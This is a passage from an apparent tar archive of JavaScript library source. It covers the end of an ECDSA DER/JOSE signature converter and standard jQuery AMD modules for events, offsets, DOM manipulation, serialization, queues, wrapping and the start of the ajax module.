(signature[offset++] !== ENCODED_TAG_INT) { throw new Error('Could not find expected "int" for "r"'); } var rLength = signature[offset++]; if (inputLength - offset - 2 < rLength) { throw new Error('"r" specified length of "' + rLength + '", only "' + (inputLength - offset - 2) + '" available'); } if (maxEncodedParamLength < rLength) { throw new Error('"r" specified length of "' + rLength + '", max of "' + maxEncodedParamLength + '" is acceptable'); } var rOffset = offset; offset += rLength; if (signature[offset++] !== ENCODED_TAG_INT) { throw new Error('Could not find expected "int" for "s"'); } var sLength = signature[offset++]; if (inputLength - offset !== sLength) { throw new Error('"s" specified length of "' + sLength + '", expected "' + (inputLength - offset) + '"'); } if (maxEncodedParamLength < sLength) { throw new Error('"s" specified length of "' + sLength + '", max of "' + maxEncodedParamLength + '" is acceptable'); } var sOffset = offset; offset += sLength; if (offset !== inputLength) { throw new Error('Expected to consume entire buffer, but "' + (inputLength - offset) + '" bytes remain'); } var rPadding = paramBytes - rLength, sPadding = paramBytes - sLength; var dst = Buffer.allocUnsafe(rPadding + rLength + sPadding + sLength); for (offset = 0; offset < rPadding; ++offset) { dst[offset] = 0; } signature.copy(dst, offset, rOffset + Math.max(-rPadding, 0), rOffset + rLength); offset = paramBytes; for (var o = offset; offset < o + sPadding; ++offset) { dst[offset] = 0; } signature.copy(dst, offset, sOffset + Math.max(-sPadding, 0), sOffset + sLength); dst = dst.toString('base64'); dst = base64Url(dst); return dst; } function countPadding(buf, start, stop) { var padding = 0; while (start + padding < stop && buf[start + padding] === 0) { ++padding; } var needsSign = buf[start + padding] >= MAX_OCTET; if (needsSign) { --padding; } return padding; } function joseToDer(signature, alg) { signature = signatureAsBuffer(signature); var paramBytes = getParamBytesForAlg(alg); var signatureBytes = signature.length; if (signatureBytes !== paramBytes * 2) { throw new TypeError('"' + alg + '" signatures must be "' + paramBytes * 2 + '" bytes, saw "' + signatureBytes + '"'); } var rPadding = countPadding(signature, 0, paramBytes); var sPadding = countPadding(signature, paramBytes, signature.length); var rLength = paramBytes - rPadding; var sLength = paramBytes - sPadding; var rsBytes = 1 + 1 + rLength + 1 + 1 + sLength; var shortLength = rsBytes < MAX_OCTET; var dst = Buffer.allocUnsafe((shortLength ? 2 : 3) + rsBytes); var offset = 0; dst[offset++] = ENCODED_TAG_SEQ; if (shortLength) { // Bit 8 has value "0" // bits 7-1 give the length. dst[offset++] = rsBytes; } else { // Bit 8 of first octet has value "1" // bits 7-1 give the number of additional length octets. dst[offset++] = MAX_OCTET | 1; // length, base 256 dst[offset++] = rsBytes & 0xff; } dst[offset++] = ENCODED_TAG_INT; dst[offset++] = rLength; if (rPadding < 0) { dst[offset++] = 0; offset += signature.copy(dst, offset, 0, paramBytes); } else { offset += signature.copy(dst, offset, rPadding, paramBytes); } dst[offset++] = ENCODED_TAG_INT; dst[offset++] = sLength; if (sPadding < 0) { dst[offset++] = 0; signature.copy(dst, offset, paramBytes); } else { signature.copy(dst, offset, paramBytes + sPadding); } return dst; } module.exports = { derToJose: derToJose, joseToDer: joseToDer }; param-bytes-for-alg.js000064400000000710151677355530010672 0ustar00'use strict'; function getParamSize(keySize) { var result = ((keySize / 8) | 0) + (keySize % 8 === 0 ? 0 : 1); return result; } var paramBytesForAlg = { ES256: getParamSize(256), ES384: getParamSize(384), ES512: getParamSize(521) }; function getParamBytesForAlg(alg) { var paramBytes = paramBytesForAlg[alg]; if (paramBytes) { return paramBytes; } throw new Error('Unknown algorithm "' + alg + '"'); } module.exports = getParamBytesForAlg; event/support.js000064400000000220151677373670007757 0ustar00define( [ "../var/support" ], function( support ) { "use strict"; support.focusin = "onfocusin" in window; return support; } ); event/ajax.js000064400000000560151677373670007175 0ustar00define( [ "../core", "../event" ], function( jQuery ) { "use strict"; // Attach a bunch of functions for handling common AJAX events jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( i, type ) { jQuery.fn[ type ] = function( fn ) { return this.on( type, fn ); }; } ); } ); event/trigger.js000064400000012746151677373670007726 0ustar00define( [ "../core", "../var/document", "../data/var/dataPriv", "../data/var/acceptData", "../var/hasOwn", "../var/isFunction", "../var/isWindow", "../event" ], function( jQuery, document, dataPriv, acceptData, hasOwn, isFunction, isWindow ) { "use strict"; var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, stopPropagationCallback = function( e ) { e.stopPropagation(); }; jQuery.extend( jQuery.event, { trigger: function( event, data, elem, onlyHandlers ) { var i, cur, tmp, bubbleType, ontype, handle, special, lastElement, eventPath = [ elem || document ], type = hasOwn.call( event, "type" ) ? event.type : event, namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : []; cur = lastElement = tmp = elem = elem || document; // Don't do events on text and comment nodes if ( elem.nodeType === 3 || elem.nodeType === 8 ) { return; } // focus/blur morphs to focusin/out; ensure we're not firing them right now if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { return; } if ( type.indexOf( "." ) > -1 ) { // Namespaced trigger; create a regexp to match event type in handle() namespaces = type.split( "." ); type = namespaces.shift(); namespaces.sort(); } ontype = type.indexOf( ":" ) < 0 && "on" + type; // Caller can pass in a jQuery.Event object, Object, or just an event type string event = event[ jQuery.expando ] ? event : new jQuery.Event( type, typeof event === "object" && event ); // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) event.isTrigger = onlyHandlers ? 2 : 3; event.namespace = namespaces.join( "." ); event.rnamespace = event.namespace ? new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) : null; // Clean up the event in case it is being reused event.result = undefined; if ( !event.target ) { event.target = elem; } // Clone any incoming data and prepend the event, creating the handler arg list data = data == null ? [ event ] : jQuery.makeArray( data, [ event ] ); // Allow special events to draw outside the lines special = jQuery.event.special[ type ] || {}; if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { return; } // Determine event propagation path in advance, per W3C events spec (#9951) // Bubble up to document, then to window; watch for a global ownerDocument var (#9724) if ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) { bubbleType = special.delegateType || type; if ( !rfocusMorph.test( bubbleType + type ) ) { cur = cur.parentNode; } for ( ; cur; cur = cur.parentNode ) { eventPath.push( cur ); tmp = cur; } // Only add window if we got to document (e.g., not plain obj or detached DOM) if ( tmp === ( elem.ownerDocument || document ) ) { eventPath.push( tmp.defaultView || tmp.parentWindow || window ); } } // Fire handlers on the event path i = 0; while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) { lastElement = cur; event.type = i > 1 ? bubbleType : special.bindType || type; // jQuery handler handle = ( dataPriv.get( cur, "events" ) || {} )[ event.type ] && dataPriv.get( cur, "handle" ); if ( handle ) { handle.apply( cur, data ); } // Native handler handle = ontype && cur[ ontype ]; if ( handle && handle.apply && acceptData( cur ) ) { event.result = handle.apply( cur, data ); if ( event.result === false ) { event.preventDefault(); } } } event.type = type; // If nobody prevented the default action, do it now if ( !onlyHandlers && !event.isDefaultPrevented() ) { if ( ( !special._default || special._default.apply( eventPath.pop(), data ) === false ) && acceptData( elem ) ) { // Call a native DOM method on the target with the same name as the event. // Don't do default actions on window, that's where global variables be (#6170) if ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) { // Don't re-trigger an onFOO event when we call its FOO() method tmp = elem[ ontype ]; if ( tmp ) { elem[ ontype ] = null; } // Prevent re-triggering of the same event, since we already bubbled it above jQuery.event.triggered = type; if ( event.isPropagationStopped() ) { lastElement.addEventListener( type, stopPropagationCallback ); } elem[ type ](); if ( event.isPropagationStopped() ) { lastElement.removeEventListener( type, stopPropagationCallback ); } jQuery.event.triggered = undefined; if ( tmp ) { elem[ ontype ] = tmp; } } } } return event.result; }, // Piggyback on a donor event to simulate a different one // Used only for `focus(in | out)` events simulate: function( type, elem, event ) { var e = jQuery.extend( new jQuery.Event(), event, { type: type, isSimulated: true } ); jQuery.event.trigger( e, null, elem ); } } ); jQuery.fn.extend( { trigger: function( type, data ) { return this.each( function() { jQuery.event.trigger( type, data, this ); } ); }, triggerHandler: function( type, data ) { var elem = this[ 0 ]; if ( elem ) { return jQuery.event.trigger( type, data, elem, true ); } } } ); return jQuery; } ); event/alias.js000064400000001246151677373670007345 0ustar00define( [ "../core", "../event", "./trigger" ], function( jQuery ) { "use strict"; jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup contextmenu" ).split( " " ), function( i, name ) { // Handle event binding jQuery.fn[ name ] = function( data, fn ) { return arguments.length > 0 ? this.on( name, null, data, fn ) : this.trigger( name ); }; } ); jQuery.fn.extend( { hover: function( fnOver, fnOut ) { return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); } } ); } ); event/focusin.js000064400000003037151677373670007722 0ustar00define( [ "../core", "../data/var/dataPriv", "./support", "../event", "./trigger" ], function( jQuery, dataPriv, support ) { "use strict"; // Support: Firefox <=44 // Firefox doesn't have focus(in | out) events // Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787 // // Support: Chrome <=48 - 49, Safari <=9.0 - 9.1 // focus(in | out) events fire after focus & blur events, // which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order // Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857 if ( !support.focusin ) { jQuery.each( { focus: "focusin", blur: "focusout" }, function( orig, fix ) { // Attach a single capturing handler on the document while someone wants focusin/focusout var handler = function( event ) { jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) ); }; jQuery.event.special[ fix ] = { setup: function() { var doc = this.ownerDocument || this, attaches = dataPriv.access( doc, fix ); if ( !attaches ) { doc.addEventListener( orig, handler, true ); } dataPriv.access( doc, fix, ( attaches || 0 ) + 1 ); }, teardown: function() { var doc = this.ownerDocument || this, attaches = dataPriv.access( doc, fix ) - 1; if ( !attaches ) { doc.removeEventListener( orig, handler, true ); dataPriv.remove( doc, fix ); } else { dataPriv.access( doc, fix, attaches ); } } }; } ); } return jQuery; } ); offset.js000064400000015675151677373670006434 0ustar00define( [ "./core", "./core/access", "./var/document", "./var/documentElement", "./var/isFunction", "./css/var/rnumnonpx", "./css/curCSS", "./css/addGetHookIf", "./css/support", "./var/isWindow", "./core/init", "./css", "./selector" // contains ], function( jQuery, access, document, documentElement, isFunction, rnumnonpx, curCSS, addGetHookIf, support, isWindow ) { "use strict"; jQuery.offset = { setOffset: function( elem, options, i ) { var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css( elem, "position" ), curElem = jQuery( elem ), props = {}; // Set position first, in-case top/left are set even on static elem if ( position === "static" ) { elem.style.position = "relative"; } curOffset = curElem.offset(); curCSSTop = jQuery.css( elem, "top" ); curCSSLeft = jQuery.css( elem, "left" ); calculatePosition = ( position === "absolute" || position === "fixed" ) && ( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1; // Need to be able to calculate position if either // top or left is auto and position is either absolute or fixed if ( calculatePosition ) { curPosition = curElem.position(); curTop = curPosition.top; curLeft = curPosition.left; } else { curTop = parseFloat( curCSSTop ) || 0; curLeft = parseFloat( curCSSLeft ) || 0; } if ( isFunction( options ) ) { // Use jQuery.extend here to allow modification of coordinates argument (gh-1848) options = options.call( elem, i, jQuery.extend( {}, curOffset ) ); } if ( options.top != null ) { props.top = ( options.top - curOffset.top ) + curTop; } if ( options.left != null ) { props.left = ( options.left - curOffset.left ) + curLeft; } if ( "using" in options ) { options.using.call( elem, props ); } else { curElem.css( props ); } } }; jQuery.fn.extend( { // offset() relates an element's border box to the document origin offset: function( options ) { // Preserve chaining for setter if ( arguments.length ) { return options === undefined ? this : this.each( function( i ) { jQuery.offset.setOffset( this, options, i ); } ); } var rect, win, elem = this[ 0 ]; if ( !elem ) { return; } // Return zeros for disconnected and hidden (display: none) elements (gh-2310) // Support: IE <=11 only // Running getBoundingClientRect on a // disconnected node in IE throws an error if ( !elem.getClientRects().length ) { return { top: 0, left: 0 }; } // Get document-relative position by adding viewport scroll to viewport-relative gBCR rect = elem.getBoundingClientRect(); win = elem.ownerDocument.defaultView; return { top: rect.top + win.pageYOffset, left: rect.left + win.pageXOffset }; }, // position() relates an element's margin box to its offset parent's padding box // This corresponds to the behavior of CSS absolute positioning position: function() { if ( !this[ 0 ] ) { return; } var offsetParent, offset, doc, elem = this[ 0 ], parentOffset = { top: 0, left: 0 }; // position:fixed elements are offset from the viewport, which itself always has zero offset if ( jQuery.css( elem, "position" ) === "fixed" ) { // Assume position:fixed implies availability of getBoundingClientRect offset = elem.getBoundingClientRect(); } else { offset = this.offset(); // Account for the *real* offset parent, which can be the document or its root element // when a statically positioned element is identified doc = elem.ownerDocument; offsetParent = elem.offsetParent || doc.documentElement; while ( offsetParent && ( offsetParent === doc.body || offsetParent === doc.documentElement ) && jQuery.css( offsetParent, "position" ) === "static" ) { offsetParent = offsetParent.parentNode; } if ( offsetParent && offsetParent !== elem && offsetParent.nodeType === 1 ) { // Incorporate borders into its offset, since they are outside its content origin parentOffset = jQuery( offsetParent ).offset(); parentOffset.top += jQuery.css( offsetParent, "borderTopWidth", true ); parentOffset.left += jQuery.css( offsetParent, "borderLeftWidth", true ); } } // Subtract parent offsets and element margins return { top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ), left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true ) }; }, // This method will return documentElement in the following cases: // 1) For the element inside the iframe without offsetParent, this method will return // documentElement of the parent window // 2) For the hidden or detached element // 3) For body or html element, i.e. in case of the html node - it will return itself // // but those exceptions were never presented as a real life use-cases // and might be considered as more preferable results. // // This logic, however, is not guaranteed and can change at any point in the future offsetParent: function() { return this.map( function() { var offsetParent = this.offsetParent; while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) { offsetParent = offsetParent.offsetParent; } return offsetParent || documentElement; } ); } } ); // Create scrollLeft and scrollTop methods jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) { var top = "pageYOffset" === prop; jQuery.fn[ method ] = function( val ) { return access( this, function( elem, method, val ) { // Coalesce documents and windows var win; if ( isWindow( elem ) ) { win = elem; } else if ( elem.nodeType === 9 ) { win = elem.defaultView; } if ( val === undefined ) { return win ? win[ prop ] : elem[ method ]; } if ( win ) { win.scrollTo( !top ? val : win.pageXOffset, top ? val : win.pageYOffset ); } else { elem[ method ] = val; } }, method, val, arguments.length ); }; } ); // Support: Safari <=7 - 9.1, Chrome <=37 - 49 // Add the top/left cssHooks using jQuery.fn.position // Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084 // Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347 // getComputedStyle returns percent when specified for top/left/bottom/right; // rather than make the css module depend on the offset module, just check for it here jQuery.each( [ "top", "left" ], function( i, prop ) { jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition, function( elem, computed ) { if ( computed ) { computed = curCSS( elem, prop ); // If curCSS returns percentage, fallback to offset return rnumnonpx.test( computed ) ? jQuery( elem ).position()[ prop ] + "px" : computed; } } ); } ); return jQuery; } ); manipulation/support.js000064400000002055151677373670011346 0ustar00define( [ "../var/document", "../var/support" ], function( document, support ) { "use strict"; ( function() { var fragment = document.createDocumentFragment(), div = fragment.appendChild( document.createElement( "div" ) ), input = document.createElement( "input" ); // Support: Android 4.0 - 4.3 only // Check state lost if the name is set (#11217) // Support: Windows Web Apps (WWA) // `name` and `type` must use .setAttribute for WWA (#14901) input.setAttribute( "type", "radio" ); input.setAttribute( "checked", "checked" ); input.setAttribute( "name", "t" ); div.appendChild( input ); // Support: Android <=4.1 only // Older WebKit doesn't clone checked state correctly in fragments support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked; // Support: IE <=11 only // Make sure textarea (and checkbox) defaultValue is properly cloned div.innerHTML = "<textarea>x</textarea>"; support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue; } )(); return support; } ); manipulation/_evalUrl.js000064400000000573151677373670011406 0ustar00define( [ "../ajax" ], function( jQuery ) { "use strict"; jQuery._evalUrl = function( url ) { return jQuery.ajax( { url: url, // Make this explicit, since user can override this through ajaxSetup (#11264) type: "GET", dataType: "script", cache: true, async: false, global: false, "throws": true } ); }; return jQuery._evalUrl; } ); manipulation/buildFragment.js000064400000005025151677373670012415 0ustar00define( [ "../core", "../core/toType", "./var/rtagName", "./var/rscriptType", "./wrapMap", "./getAll", "./setGlobalEval" ], function( jQuery, toType, rtagName, rscriptType, wrapMap, getAll, setGlobalEval ) { "use strict"; var rhtml = /<|&#?\w+;/; function buildFragment( elems, context, scripts, selection, ignored ) { var elem, tmp, tag, wrap, contains, j, fragment = context.createDocumentFragment(), nodes = [], i = 0, l = elems.length; for ( ; i < l; i++ ) { elem = elems[ i ]; if ( elem || elem === 0 ) { // Add nodes directly if ( toType( elem ) === "object" ) { // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); // Convert non-html into a text node } else if ( !rhtml.test( elem ) ) { nodes.push( context.createTextNode( elem ) ); // Convert html into DOM nodes } else { tmp = tmp || fragment.appendChild( context.createElement( "div" ) ); // Deserialize a standard representation tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase(); wrap = wrapMap[ tag ] || wrapMap._default; tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ]; // Descend through wrappers to the right content j = wrap[ 0 ]; while ( j-- ) { tmp = tmp.lastChild; } // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( nodes, tmp.childNodes ); // Remember the top-level container tmp = fragment.firstChild; // Ensure the created nodes are orphaned (#12392) tmp.textContent = ""; } } } // Remove wrapper from fragment fragment.textContent = ""; i = 0; while ( ( elem = nodes[ i++ ] ) ) { // Skip elements already in the context collection (trac-4087) if ( selection && jQuery.inArray( elem, selection ) > -1 ) { if ( ignored ) { ignored.push( elem ); } continue; } contains = jQuery.contains( elem.ownerDocument, elem ); // Append to fragment tmp = getAll( fragment.appendChild( elem ), "script" ); // Preserve script evaluation history if ( contains ) { setGlobalEval( tmp ); } // Capture executables if ( scripts ) { j = 0; while ( ( elem = tmp[ j++ ] ) ) { if ( rscriptType.test( elem.type || "" ) ) { scripts.push( elem ); } } } } return fragment; } return buildFragment; } ); manipulation/var/rcheckableType.js000064400000000124151677373670013342 0ustar00define( function() { "use strict"; return ( /^(?:checkbox|radio)$/i ); } ); manipulation/var/rscriptType.js000064400000000141151677373670012744 0ustar00define( function() { "use strict"; return ( /^$|^module$|\/(?:java|ecma)script/i ); } ); manipulation/var/rtagName.js000064400000000135151677373670012155 0ustar00define( function() { "use strict"; return ( /<([a-z][^\/\0>\x20\t\r\n\f]+)/i ); } ); manipulation/setGlobalEval.js000064400000000623151677373670012355 0ustar00define( [ "../data/var/dataPriv" ], function( dataPriv ) { "use strict"; // Mark scripts as having already been evaluated function setGlobalEval( elems, refElements ) { var i = 0, l = elems.length; for ( ; i < l; i++ ) { dataPriv.set( elems[ i ], "globalEval", !refElements || dataPriv.get( refElements[ i ], "globalEval" ) ); } } return setGlobalEval; } ); manipulation/wrapMap.js000064400000001473151677373670011244 0ustar00define( function() { "use strict"; // We have to close these tags to support XHTML (#13200) var wrapMap = { // Support: IE <=9 only option: [ 1, "<select multiple='multiple'>", "</select>" ], // XHTML parsers do not magically insert elements in the // same way that tag soup parsers do. So we cannot shorten // this by omitting <tbody> or other required elements. thead: [ 1, "<table>", "</table>" ], col: [ 2, "<table><colgroup>", "</colgroup></table>" ], tr: [ 2, "<table><tbody>", "</tbody></table>" ], td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], _default: [ 0, "", "" ] }; // Support: IE <=9 only wrapMap.optgroup = wrapMap.option; wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; wrapMap.th = wrapMap.td; return wrapMap; } ); manipulation/getAll.js000064400000001252151677373670011040 0ustar00define( [ "../core", "../core/nodeName" ], function( jQuery, nodeName ) { "use strict"; function getAll( context, tag ) { // Support: IE <=9 - 11 only // Use typeof to avoid zero-argument method invocation on host objects (#15151) var ret; if ( typeof context.getElementsByTagName !== "undefined" ) { ret = context.getElementsByTagName( tag || "*" ); } else if ( typeof context.querySelectorAll !== "undefined" ) { ret = context.querySelectorAll( tag || "*" ); } else { ret = []; } if ( tag === undefined || tag && nodeName( context, tag ) ) { return jQuery.merge( [ context ], ret ); } return ret; } return getAll; } ); serialize.js000064400000006425151677373670007126 0ustar00define( [ "./core", "./core/toType", "./manipulation/var/rcheckableType", "./var/isFunction", "./core/init", "./traversing", // filter "./attributes/prop" ], function( jQuery, toType, rcheckableType, isFunction ) { "use strict"; var rbracket = /\[\]$/, rCRLF = /\r?\n/g, rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, rsubmittable = /^(?:input|select|textarea|keygen)/i; function buildParams( prefix, obj, traditional, add ) { var name; if ( Array.isArray( obj ) ) { // Serialize array item. jQuery.each( obj, function( i, v ) { if ( traditional || rbracket.test( prefix ) ) { // Treat each array item as a scalar. add( prefix, v ); } else { // Item is non-scalar (array or object), encode its numeric index. buildParams( prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]", v, traditional, add ); } } ); } else if ( !traditional && toType( obj ) === "object" ) { // Serialize object item. for ( name in obj ) { buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); } } else { // Serialize scalar item. add( prefix, obj ); } } // Serialize an array of form elements or a set of // key/values into a query string jQuery.param = function( a, traditional ) { var prefix, s = [], add = function( key, valueOrFunction ) { // If value is a function, invoke it and use its return value var value = isFunction( valueOrFunction ) ? valueOrFunction() : valueOrFunction; s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value == null ? "" : value ); }; // If an array was passed in, assume that it is an array of form elements. if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { // Serialize the form elements jQuery.each( a, function() { add( this.name, this.value ); } ); } else { // If traditional, encode the "old" way (the way 1.3.2 or older // did it), otherwise encode params recursively. for ( prefix in a ) { buildParams( prefix, a[ prefix ], traditional, add ); } } // Return the resulting serialization return s.join( "&" ); }; jQuery.fn.extend( { serialize: function() { return jQuery.param( this.serializeArray() ); }, serializeArray: function() { return this.map( function() { // Can add propHook for "elements" to filter or add form elements var elements = jQuery.prop( this, "elements" ); return elements ? jQuery.makeArray( elements ) : this; } ) .filter( function() { var type = this.type; // Use .is( ":disabled" ) so that fieldset[disabled] works return this.name && !jQuery( this ).is( ":disabled" ) && rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && ( this.checked || !rcheckableType.test( type ) ); } ) .map( function( i, elem ) { var val = jQuery( this ).val(); if ( val == null ) { return null; } if ( Array.isArray( val ) ) { return jQuery.map( val, function( val ) { return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; } ); } return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; } ).get(); } } ); return jQuery; } ); queue.js000064400000006244151677373670006262 0ustar00define( [ "./core", "./data/var/dataPriv", "./deferred", "./callbacks" ], function( jQuery, dataPriv ) { "use strict"; jQuery.extend( { queue: function( elem, type, data ) { var queue; if ( elem ) { type = ( type || "fx" ) + "queue"; queue = dataPriv.get( elem, type ); // Speed up dequeue by getting out quickly if this is just a lookup if ( data ) { if ( !queue || Array.isArray( data ) ) { queue = dataPriv.access( elem, type, jQuery.makeArray( data ) ); } else { queue.push( data ); } } return queue || []; } }, dequeue: function( elem, type ) { type = type || "fx"; var queue = jQuery.queue( elem, type ), startLength = queue.length, fn = queue.shift(), hooks = jQuery._queueHooks( elem, type ), next = function() { jQuery.dequeue( elem, type ); }; // If the fx queue is dequeued, always remove the progress sentinel if ( fn === "inprogress" ) { fn = queue.shift(); startLength--; } if ( fn ) { // Add a progress sentinel to prevent the fx queue from being // automatically dequeued if ( type === "fx" ) { queue.unshift( "inprogress" ); } // Clear up the last queue stop function delete hooks.stop; fn.call( elem, next, hooks ); } if ( !startLength && hooks ) { hooks.empty.fire(); } }, // Not public - generate a queueHooks object, or return the current one _queueHooks: function( elem, type ) { var key = type + "queueHooks"; return dataPriv.get( elem, key ) || dataPriv.access( elem, key, { empty: jQuery.Callbacks( "once memory" ).add( function() { dataPriv.remove( elem, [ type + "queue", key ] ); } ) } ); } } ); jQuery.fn.extend( { queue: function( type, data ) { var setter = 2; if ( typeof type !== "string" ) { data = type; type = "fx"; setter--; } if ( arguments.length < setter ) { return jQuery.queue( this[ 0 ], type ); } return data === undefined ? this : this.each( function() { var queue = jQuery.queue( this, type, data ); // Ensure a hooks for this queue jQuery._queueHooks( this, type ); if ( type === "fx" && queue[ 0 ] !== "inprogress" ) { jQuery.dequeue( this, type ); } } ); }, dequeue: function( type ) { return this.each( function() { jQuery.dequeue( this, type ); } ); }, clearQueue: function( type ) { return this.queue( type || "fx", [] ); }, // Get a promise resolved when queues of a certain type // are emptied (fx is the type by default) promise: function( type, obj ) { var tmp, count = 1, defer = jQuery.Deferred(), elements = this, i = this.length, resolve = function() { if ( !( --count ) ) { defer.resolveWith( elements, [ elements ] ); } }; if ( typeof type !== "string" ) { obj = type; type = undefined; } type = type || "fx"; while ( i-- ) { tmp = dataPriv.get( elements[ i ], type + "queueHooks" ); if ( tmp && tmp.empty ) { count++; tmp.empty.add( resolve ); } } resolve(); return defer.promise( obj ); } } ); return jQuery; } ); attributes.js000064400000000346151677373670007321 0ustar00define( [ "./core", "./attributes/attr", "./attributes/prop", "./attributes/classes", "./attributes/val" ], function( jQuery ) { "use strict"; // Return jQuery for attributes-only inclusion return jQuery; } ); wrap.js000064400000003023151677373670006077 0ustar00define( [ "./core", "./var/isFunction", "./core/init", "./manipulation", // clone "./traversing" // parent, contents ], function( jQuery, isFunction ) { "use strict"; jQuery.fn.extend( { wrapAll: function( html ) { var wrap; if ( this[ 0 ] ) { if ( isFunction( html ) ) { html = html.call( this[ 0 ] ); } // The elements to wrap the target around wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true ); if ( this[ 0 ].parentNode ) { wrap.insertBefore( this[ 0 ] ); } wrap.map( function() { var elem = this; while ( elem.firstElementChild ) { elem = elem.firstElementChild; } return elem; } ).append( this ); } return this; }, wrapInner: function( html ) { if ( isFunction( html ) ) { return this.each( function( i ) { jQuery( this ).wrapInner( html.call( this, i ) ); } ); } return this.each( function() { var self = jQuery( this ), contents = self.contents(); if ( contents.length ) { contents.wrapAll( html ); } else { self.append( html ); } } ); }, wrap: function( html ) { var htmlIsFunction = isFunction( html ); return this.each( function( i ) { jQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html ); } ); }, unwrap: function( selector ) { this.parent( selector ).not( "body" ).each( function() { jQuery( this ).replaceWith( this.childNodes ); } ); return this; } } ); return jQuery; } ); ajax.js000064400000055244151677373670006065 0ustar00define( [ "./core", "./var/document", "./var/isFunction", "./var/rnothtmlwhite", "./ajax/var/location", "./ajax/var/nonce", "./ajax/var/rquery", "./core/init", "./ajax/parseXML", "./event/trigger", "./deferred", "./serialize" // jQuery.param ], function( jQuery, document, isFunction, rnothtmlwhite, location, nonce, rquery ) { "use strict"; var r20 = /%20/g, rhash = /#.*$/, rantiCache = /([?&])_=[^&]*/, rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg, // #7653, #8125, #8152: local protocol detection rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, rnoContent = /^(?:GET|HEAD)$/, rprotocol = /^\/\//, /* Prefilters * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) * 2) These are called: * - BEFORE asking for a transport * - AFTER param serialization (s.data is a string if s.processData is true) * 3) key is the dataType * 4) the catchall symbol "*" can be used * 5) execution will start with transport dataType and THEN continue down to "*" if needed */ prefilters = {}, /* Transports bindings * 1) key is the dataType * 2) the catchall symbol "*" can be used * 3) selection will start with transport dataType and THEN go to "*" if needed */ transports = {}, // Avoid comment-prolog char sequence (#10098); must appease lint and evade compression allTypes = "*/".concat( "*" ), // Anchor tag for parsing the document origin originAnchor = document.createElement( "a" ); originAnchor.href = location.href; // Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport function addToPrefiltersOrTransports( structure ) { // dataTypeExpression is optional and defaults to "*" return function( dataTypeExpression, func ) { if ( typeof dataTypeExpression !== "string" ) { func = dataTypeExpression; dataTypeExpression = "*"; } var dataType, i = 0, dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || []; if ( isFunction( func ) ) { // For each dataType in the dataTypeExpression while ( ( dataType = dataTypes[ i++ ] ) ) { // Prepend if requested if ( dataType[ 0 ] === "+" ) { dataType = dataType.slice( 1 ) || "*"; ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func ); // Otherwise append } else { ( structure[ dataType ] = structure[ dataType ] || [] ).push( func ); } } } }; } // Base inspection function for prefilters and transports function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) { var inspected = {}, seekingTransport = ( structure === transports ); function inspect( dataType ) { var selected; inspected[ dataType ] = true; jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) { var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR ); if ( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) { options.dataTypes.unshift( dataTypeOrTransport ); inspect( dataTypeOrTransport ); return false; } else if ( seekingTransport ) { return !( selected = dataTypeOrTransport ); } } ); return selected; } return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" ); } 